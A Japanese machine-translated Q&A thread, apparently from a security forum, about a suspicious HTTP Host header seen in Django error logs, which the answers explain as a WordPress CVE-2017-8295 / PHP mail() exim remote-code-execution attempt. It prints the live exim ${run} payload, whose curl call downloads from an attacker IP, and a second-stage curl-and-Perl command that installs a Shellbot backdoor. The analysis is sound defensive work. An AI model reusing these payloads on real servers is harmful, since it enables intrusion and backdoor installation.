Djangoアプリケーションから、次のように多数のエラーメッセージを受け取りました。
Invalid HTTP_Host header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information:
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...
これまでにそのようなものを見たことがなく、それが何を意味するのか理解するのに苦労しています。これはエクスプロイトの一部になる可能性がありますか、それとも単なる偏執狂ですか?
@Swashbucklerによって提供された回答をさらに詳しく説明するために、 CVE-2017-8295 は特にWordPress Host
HTTPヘッダーセットによるパスワードのリセット]に関連しています。
WordPressがパスワード再設定メールを送信するとき、From
/_Return-Path
_を_$_SERVER['SERVER_NAME']
_の値に設定します(PHPの場合)。この値は設定されています。 Host
HTTPヘッダーに基づく一部のWebサーバー(Apacheなど)。
これは、攻撃者がWordPress From
/_Return-Path
_を任意の電子メールアドレスに設定した電子メールを送信することを可能にすることを意味します。電子メールが返送または応答された場合、それはこの悪意のある電子メールアドレスに起こり、元の電子メールが添付されていた場合、攻撃者はパスワードリセットリンクにアクセスできます。
実際に悪用を悪用するには、2つの要因が発生する必要があります。WebサーバーはHost
ヘッダーからホスト名を読み取る必要があり、メールは返送または返信される必要があります。前者はサーバー管理者が修正できます(Apacheを使用している場合は _UseCanonicalName On
_ を設定します)。後者は攻撃者に被害者のメールサーバーをブロックするように要求します(DoSするなど)。または被害者がメールに返信するため。
@TerrorBiteで指摘されているように、攻撃者は実際にはパスワードリセットリンクを標的にしているのではなく、バグを使用してPHP mail()
関数のバグを悪用しているだけです。以下の彼の答え。
CVE-2017-8295 を悪用する試みであるように私に見えます。
CVEの概要は次のとおりです。
WordPress 4.7.4までは、パスワードリセットの電子メールメッセージのホストHTTPヘッダーに依存しています。これにより、リモートの攻撃者が巧妙に作成されたwp-login.php?action = lostpasswordリクエストを作成し、このメッセージが返送または再送信されると、攻撃者が制御するSMTPサーバーのメールボックスにリセットキーが送信されます。これは、wp-includes/pluggable.phpのSERVER_NAME変数をPHPメール関数と組み合わせて使用する際の問題のあるものです。すべての場合で悪用は不可能です。次のようになります:(1)攻撃者は被害者が長期間(たとえば5日間)電子メールメッセージを受信できないようにすることができます。(2)被害者の電子メールシステムが元のメッセージを含む自動応答を送信する、または( 3)被害者は元のメッセージを含む返信を手動で作成します。
デニスは多くのリクエストが表示されているため、攻撃者はアカウント名を推測するか、アカウント名のリスト(何らかの方法で収集された可能性があります)を持っていると言い、アカウントのパスワードをリセットして制御できるようにしますそのうちの。攻撃者は、CVEで説明されているリセットキーを探しています。
これは実際には、リモートコード実行のエクスプロイト CVE-2016-100 をphp mail()
関数でターゲットにしているようで、CVE-2017-8295はエクスプロイトコードを挿入する方法としてのみ使用していますmail()
関数。
HTTPホストヘッダーの内容は、_exim4
_メール転送エージェントによって実行されることを目的とした置換値を含む文字列です。部分文字列関数は、スラッシュ文字とスペース文字を返すように意図されているように見えます(これは、Apacheがスラッシュ文字を除外するのを避け、スペースが_exim4
_の_-be
_フラグ)。これらを代入すると、最終的には次のような文字列になります(IPアドレスは部分的に編集されています)。
_target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)
_
これにより、exim4 _${run}
_関数がcurlを実行してファイル_rce.txt
_をダウンロードします。
これはファイルのみをダウンロードすることに注意してください。以前にダウンロードしたファイルを実行するためにHost
を呼び出す、似ているが異なるbash
ヘッダーを持つ2番目のHTTPリクエストが表示されることを期待できます。
このアドレスにあるファイル_rce.txt
_は、執筆時点では、次のような別のコマンドライン文字列が含まれています(URLとIPアドレスは部分的に編集されています)。
_curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif && Perl /tmp/wp.gif
_
ファイル_strust.gif
_はBackdoor:Perl/Shellbot.Sとして検出され、 この脅威のISC SANS書き込みが利用可能です です。